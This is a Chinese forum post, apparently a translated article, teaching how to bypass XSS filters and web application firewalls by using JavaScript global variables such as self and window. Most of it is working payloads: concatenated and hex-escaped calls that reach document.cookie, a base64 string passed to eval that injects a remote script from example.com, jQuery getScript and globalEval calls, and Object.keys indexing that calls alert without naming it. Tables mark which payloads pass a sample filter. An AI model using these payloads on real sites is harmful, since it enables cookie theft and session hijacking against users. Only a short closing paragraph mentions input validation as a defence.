本帖最后由 show0p 于 2019-6-13 19:36 编辑
使用JavaScript全局变量绕过XSS过滤器
所以你的目标似乎很容易受到XSS的攻击,但你利用它的所有尝试都被过滤器,输入验证或WAF规则阻止了......让我们探讨如何使用JavaScript全局变量绕过它们。 在本文中,我们一起发现当我们与目标网站之间存在过滤器或防火墙时,我们有多少可能利用反射(甚至存储)的XSS。其中最有效的方法是使用全局变量一样self,document,this,top或window。 目录- 在开始之前
- 连接和十六进制转义序列
- Eval和Base64编码的字符串
- jQuery的
- 迭代和Object.keys
- 结论
在开始之前什么是JavaScript全局变量? 一个JavaScript的全局变量声明以外的功能或窗口对象声明。它可以从任何功能访问。https://www.javatpoint.com/javascript-global-variable 例如,让我们考虑下面的PHP脚本:
echo "<script>
var message = 'Hello ".$_GET["name"]."';
alert(message);
</script>";
如您所见,该name参数容易受到攻击。但是在这个例子中,假设Web应用程序有一个过滤器,它阻止使用正则表达式将“document.cookie”字符串用于任何用户输入/document[^\.]*.[^\.]*cookie/。我们来看看以下有效负载: [td]有效载荷 | 描述 | 行动 | document.cookie | 标准 | 块 | document%20.%20cookie | 添加编码空格char | 块 | document/*foo*/./*bar*/cookie | 添加评论 | 块 |
在这种情况下,JavaScript全局变量可用于绕过它。我们有很多方法来访问document.cookie来自window或self对象。例如,类似的东西window["document"]["cookie"]不会被阻止: [td]有效载荷 | 描述 | 行动 | window["document"]["cookie"] | 全局变量 | 通过 | window["alert"](window["document"]["cookie"]); | 调用alert()从window | 通过 | self[/*foo*/"alert"](self[document"/*bar*/]["cookie"]); | 添加评论 | 通过 |
正如你可以从上面的例子中看到,你甚至可以访问任何JavaScript函数语法类似self["alert"]("foo");等于alert("foo");。这种语法为您提供了许多绕过许多弱过滤器的方法。显然,您几乎可以在任何地方使用评论,例如: (/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
关于“自我”对象您可以从以下位置调用任何JavaScript函数:
1.连接和十六进制转义序列绕过WAF规则的最常见技术之一是在可能的情况下使用字符串连接。对于RCE来说也是如此,即使对于SQLi也是如此,对于JavaScript也是如此。 有很多WAF使用基于JavaScript函数名列表的过滤器。其中许多过滤器会阻止包含字符串的请求,例如alert()或String.fromCharCode()。由于全局变量,可以使用字符串连接或十六进制转义序列轻松绕过它们。例如:
/*
** alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
避免过滤器的更复杂的语法是用十六进制转义序列替换字符串。字符代码低于的任何字符256都可以使用其十六进制表示形式进行转义,并使用\x转义序列: > console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
显然,用它们的十六进制表示替换“alert”,“document”和“cookie”字符串,可以调用之前看到的全局变量之一中的任何函数: /*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
2. Eval和Base64编码的字符串如果WAF过滤我们的输入,最困难的事情之一是动态创建(和添加)一个调用远程JavaScript文件的脚本元素(类似<script src="http://example.com/evil.js" ...)。即使有微弱的过滤器,它的东西,不是那么容易的事,因为有像许多“地辨认”的模式<script,src=,http://等等。 Base64 eval()可以帮助我们,特别是如果我们可以避免发送“eval”字符串作为用户的输入。看一下下面的例子:
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
如前所示我使用“eval” self [“\ x65 \ x76 \ x61 \ x6c”]和“atob” 的十六进制表示来解码Base64字符串self [“\ x61 \ x74 \ x6f \ x62”]。在Base64字符串中,有以下脚本:
// select head tag
var head = document.getElementsByTagName('head').item(0);
// create an empty <script> element
var script = document.createElement('script');
// set the script element type attribute
script.setAttribute('type', 'text/javascript');
// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');
// append it to the head element
head.appendChild(script);
3. jQuery正如本文所述,JavaScript为您提供了很多方法来逃避过滤器,这句话在使用jQuery等库的现代网站上更为明显。让我们假设您不能使用self["eval"]它的十六进制表示,您可以通过使用,例如,让jQuery为您执行此操作self["$"]["globalEval"]: [td]有效载荷 | 行动 | self["$"]["globalEval"]("alert(1)"); | 通过 | self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29"); | 通过 |
您甚至可以轻松地添加本地或远程脚本self["$"]["getScript"](url)。getScript使用GET HTTP请求从服务器加载JavaScript文件,然后执行它。该脚本在全局上下文中执行,因此它可以引用其他变量并使用jQuery函数。 [td]有效载荷 | 行动 | self["$"]["getScript"]("https://example.com/my.js"); | 通过 |
4.迭代和Object.keys该Object.keys()方法names以与普通循环相同的顺序返回给定对象自己的属性的数组。
这意味着我们可以通过使用索引号而不是函数名来访问任何JavaScript函数。例如,打开浏览器的Web控制台并键入: c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
这为您提供了self对象内“alert”函数的索引号。每个浏览器和每个打开的文档(在我的示例中为5)的数字不同,但它可以使您无需使用其名称即可调用任何函数。例如: > Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
为了迭代内部的所有函数,self您可以遍历该self对象并检查该元素是否是一个函数typeof elm === "function" f=""
for(i in self) {
if(typeof self === "function") {
f += i+", "
}
};
console.log(f)
迭代自我内部的所有功能如前所述,这个数字可以在不同的浏览器和文档上更改,因此,如果不允许“alert”字符串并且不能使用上述任何方法,我们如何找到“alert”索引号?JavaScript为您提供了很多机会。我们可以做的一件事是为变量(a)分配一个迭代self并找到alert索引号的函数。然后,我们可以使用test()正则表达式来查找“alert”,例如^a[rel]+t$: a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
结论消毒和验证,这两个术语经常被初学者开发者混淆。验证意味着验证正在提交的数据是否符合开发人员为特定输入字段设置的规则或规则集。显然,对用户输入的良好验证是Web应用程序应该执行的基本操作。如果不可能,Web应用程序防火墙可能是一个不错的选择。
|